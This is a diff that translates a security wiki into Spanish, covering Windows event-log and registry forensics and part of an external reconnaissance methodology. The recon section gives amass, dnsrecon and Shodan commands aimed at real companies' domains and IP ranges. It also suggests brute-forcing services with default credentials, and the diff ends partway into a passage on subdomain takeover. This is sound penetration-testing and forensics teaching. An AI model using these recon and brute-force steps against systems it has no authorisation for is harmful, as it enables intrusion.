establecidas, un posible signo de acceso no autorizado. +- **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada. +- **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario expiradas. +- **0xC0000071**: Contraseña expirada - Intentos de inicio de sesión con contraseñas desactualizadas. +- **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket. +- **0xC0000224**: Se requiere cambio de contraseña obligatorio - Cambios obligatorios frecuentes podrían sugerir un intento de desestabilizar la seguridad de la cuenta. +- **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad. +- **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos. -#### EventID 6005 and 6006: +#### EventID 6005 y 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Eliminación de registros**: Los registros de seguridad están siendo borrados, lo que a menudo es una señal de alerta para encubrir actividades ilícitas. -#### EventIDs for USB Device Tracking: +#### EventIDs para el seguimiento de dispositivos USB: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Primera conexión del dispositivo USB. +- **10100**: Actualización del controlador USB. +- **EventID 112**: Hora de inserción del dispositivo USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, particularmente notables en el Event ID 4625. -### Recovering Windows Events +### Recuperando eventos de Windows -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Para aumentar las posibilidades de recuperar eventos de Windows eliminados, se recomienda apagar la computadora sospechosa desconectándola directamente. **Bulk_extractor**, una herramienta de recuperación que especifica la extensión `.evtx`, se recomienda para intentar recuperar tales eventos. -### Identifying Common Attacks via Windows Events +### Identificando ataques comunes a través de eventos de Windows -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Para una guía completa sobre cómo utilizar los IDs de eventos de Windows para identificar ataques cibernéticos comunes, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). -#### Brute Force Attacks +#### Ataques de fuerza bruta -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Identificables por múltiples registros de EventID 4625, seguidos de un EventID 4624 si el ataque tiene éxito. -#### Time Change +#### Cambio de hora -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar el análisis forense. -#### USB Device Tracking +#### Seguimiento de dispositivos USB -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +IDs de eventos del sistema útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción. -#### System Power Events +#### Eventos de energía del sistema -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado. -#### Log Deletion +#### Eliminación de registros -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +El EventID de seguridad 1102 señala la eliminación de registros, un evento crítico para el análisis forense. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..6e4daf248 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Claves de Registro de Windows Interesantes -### Interesting Windows Registry Keys +### Claves de Registro de Windows Interesantes {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Información de Versión de Windows y Propietario** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Ubicado en **`Software\Microsoft\Windows NT\CurrentVersion`**, encontrarás la versión de Windows, el Service Pack, la hora de instalación y el nombre del propietario registrado de manera sencilla. -### **Computer Name** +### **Nombre del Computador** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- El nombre del host se encuentra en **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Configuración de Zona Horaria** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- La zona horaria del sistema se almacena en **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Seguimiento del Tiempo de Acceso** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Por defecto, el seguimiento del último tiempo de acceso está desactivado (**`NtfsDisableLastAccessUpdate=1`**). Para habilitarlo, usa: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Versiones de Windows y Service Packs -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- La **versión de Windows** indica la edición (por ejemplo, Home, Pro) y su lanzamiento (por ejemplo, Windows 10, Windows 11), mientras que los **Service Packs** son actualizaciones que incluyen correcciones y, a veces, nuevas características. -### Enabling Last Access Time +### Habilitando el Tiempo de Último Acceso -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Habilitar el seguimiento del último tiempo de acceso te permite ver cuándo se abrieron por última vez los archivos, lo que puede ser crítico para el análisis forense o la supervisión del sistema. -### Network Information Details +### Detalles de Información de Red -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- El registro contiene datos extensos sobre configuraciones de red, incluyendo **tipos de redes (inalámbrica, cable, 3G)** y **categorías de red (Pública, Privada/Hogar, Dominio/Trabajo)**, que son vitales para entender la configuración de seguridad de la red y los permisos. -### Client Side Caching (CSC) +### Caché del Lado del Cliente (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** mejora el acceso a archivos sin conexión al almacenar copias de archivos compartidos. Diferentes configuraciones de **CSCFlags** controlan cómo y qué archivos se almacenan en caché, afectando el rendimiento y la experiencia del usuario, especialmente en entornos con conectividad intermitente. -### AutoStart Programs +### Programas de Inicio Automático -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Los programas listados en varias claves de registro `Run` y `RunOnce` se inician automáticamente al arrancar, afectando el tiempo de arranque del sistema y potencialmente siendo puntos de interés para identificar malware o software no deseado. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** no solo almacenan preferencias para vistas de carpetas, sino que también proporcionan evidencia forense de acceso a carpetas incluso si la carpeta ya no existe. Son invaluables para investigaciones, revelando la actividad del usuario que no es obvia a través de otros medios. -### USB Information and Forensics +### Información y Forense de USB -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Los detalles almacenados en el registro sobre dispositivos USB pueden ayudar a rastrear qué dispositivos se conectaron a un computador, potencialmente vinculando un dispositivo a transferencias de archivos sensibles o incidentes de acceso no autorizado. -### Volume Serial Number +### Número de Serie del Volumen -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- El **Número de Serie del Volumen** puede ser crucial para rastrear la instancia específica de un sistema de archivos, útil en escenarios forenses donde se necesita establecer el origen de un archivo a través de diferentes dispositivos. -### **Shutdown Details** +### **Detalles de Apagado** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- La hora de apagado y el conteo (este último solo para XP) se mantienen en **`System\ControlSet001\Control\Windows`** y **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Configuración de Red** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Para información detallada de la interfaz de red, consulta **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- Los tiempos de conexión de red primero y último, incluidas las conexiones VPN, se registran en varias rutas en **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Carpetas Compartidas** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Las carpetas compartidas y configuraciones están bajo **`System\ControlSet001\Services\lanmanserver\Shares`**. Las configuraciones de Caché del Lado del Cliente (CSC) dictan la disponibilidad de archivos sin conexión. -### **Programs that Start Automatically** +### **Programas que Inician Automáticamente** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Rutas como **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** y entradas similares bajo `Software\Microsoft\Windows\CurrentVersion` detallan programas configurados para ejecutarse al inicio. -### **Searches and Typed Paths** +### **Búsquedas y Rutas Escritas** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Las búsquedas de Explorer y las rutas escritas se rastrean en el registro bajo **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** para WordwheelQuery y TypedPaths, respectivamente. -### **Recent Documents and Office Files** +### **Documentos Recientes y Archivos de Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Los documentos recientes y los archivos de Office accedidos se anotan en `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` y rutas específicas de versiones de Office. -### **Most Recently Used (MRU) Items** +### **Elementos Más Recientemente Usados (MRU)** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Las listas MRU, que indican rutas de archivos y comandos recientes, se almacenan en varias subclaves de `ComDlg32` y `Explorer` bajo `NTUSER.DAT`. -### **User Activity Tracking** +### **Seguimiento de Actividad del Usuario** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- La función User Assist registra estadísticas detalladas de uso de aplicaciones, incluyendo el conteo de ejecuciones y la última hora de ejecución, en **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Análisis de Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Shellbags, que revelan detalles de acceso a carpetas, se almacenan en `USRCLASS.DAT` y `NTUSER.DAT` bajo `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** para el análisis. -### **USB Device History** +### **Historial de Dispositivos USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** y **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contienen detalles ricos sobre dispositivos USB conectados, incluyendo fabricante, nombre del producto y marcas de tiempo de conexión. +- El usuario asociado con un dispositivo USB específico puede ser identificado buscando en los registros `NTUSER.DAT` el **{GUID}** del dispositivo. +- El último dispositivo montado y su número de serie de volumen pueden ser rastreados a través de `System\MountedDevices` y `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivamente. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Esta guía condensa las rutas y métodos cruciales para acceder a información detallada del sistema, red y actividad del usuario en sistemas Windows, buscando claridad y usabilidad. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..53ac7bf7a 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,49 +1,41 @@ -# External Recon Methodology +# Metodología de Reconocimiento Externo {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Descubrimiento de Activos -{% embed url="https://www.stmcyber.com/careers" %} +> Se te ha dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa. -## Assets discoveries +El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a: -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +1. Encontrar las adquisiciones de la empresa principal, esto nos dará las empresas dentro del alcance. +2. Encontrar el ASN (si lo hay) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa. +3. Usar búsquedas de whois inversas para buscar otras entradas (nombres de organizaciones, dominios...) relacionadas con la primera (esto se puede hacer de forma recursiva). +4. Usar otras técnicas como filtros `org` y `ssl` de shodan para buscar otros activos (el truco `ssl` se puede hacer de forma recursiva). -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +### **Adquisiciones** -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +Primero que nada, necesitamos saber qué **otras empresas son propiedad de la empresa principal**.\ +Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\ +Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**. -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> Ok, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos. ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\ +Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores. +Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\ +Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Además, la enumeración de subdominios de [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega y resume automáticamente los ASN al final del escaneo. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +Puedes encontrar los rangos de IP de una organización también usando [http://asnlookup.com/](http://asnlookup.com) (tiene API gratuita).\ +Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://ipv4info.com). -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **Buscando vulnerabilidades** -### **Looking for vulnerabilities** +En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\ +Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\ +**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto y tratar de** hacer fuerza bruta a los servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## Dominios -## Domains +> Conocemos todas las empresas dentro del alcance y sus activos, es hora de encontrar los dominios dentro del alcance. -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_Por favor, ten en cuenta que en las siguientes técnicas propuestas también puedes encontrar subdominios y esa información no debe ser subestimada._ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +Primero que nada, deberías buscar el(los) **dominio(s) principal(es)** de cada empresa. Por ejemplo, para _Tesla Inc._ será _tesla.com_. -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **DNS inverso** +Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` - -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +Para que esto funcione, el administrador tiene que habilitar manualmente el PTR.\ +También puedes usar una herramienta en línea para esta información: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\ +Puedes usar herramientas en línea como: -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis** +- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API. +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas) +- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\ +También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** ### **Trackers** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +Si encuentras el **mismo ID del mismo tracker** en 2 páginas diferentes, puedes suponer que **ambas páginas** son **gestionadas por el mismo equipo**.\ +Por ejemplo, si ves el mismo **ID de Google Analytics** o el mismo **ID de Adsense** en varias páginas. -There are some pages and tools that let you search by these trackers and more: +Hay algunas páginas y herramientas que te permiten buscar por estos trackers y más: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +114,99 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - descubrir dominios con el mismo hash de icono favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo. +Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Así es como puedes **calcular el hash del favicon** de una web: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **Copyright / Cadena única** -### **Copyright / Uniq string** +Busca dentro de las páginas web **cadenas que podrían ser compartidas entre diferentes webs en la misma organización**. La **cadena de copyright** podría ser un buen ejemplo. Luego busca esa cadena en **google**, en otros **navegadores** o incluso en **shodan**: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **Tiempo CRT** +Es común tener un trabajo cron como ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\ +Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### Información de Mail DMARC -### Mail DMARC information +Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información dmarc**. -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **Toma Pasiva** -### **Passive Takeover** +Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**. -Apparently is common for people to assign subdomains to 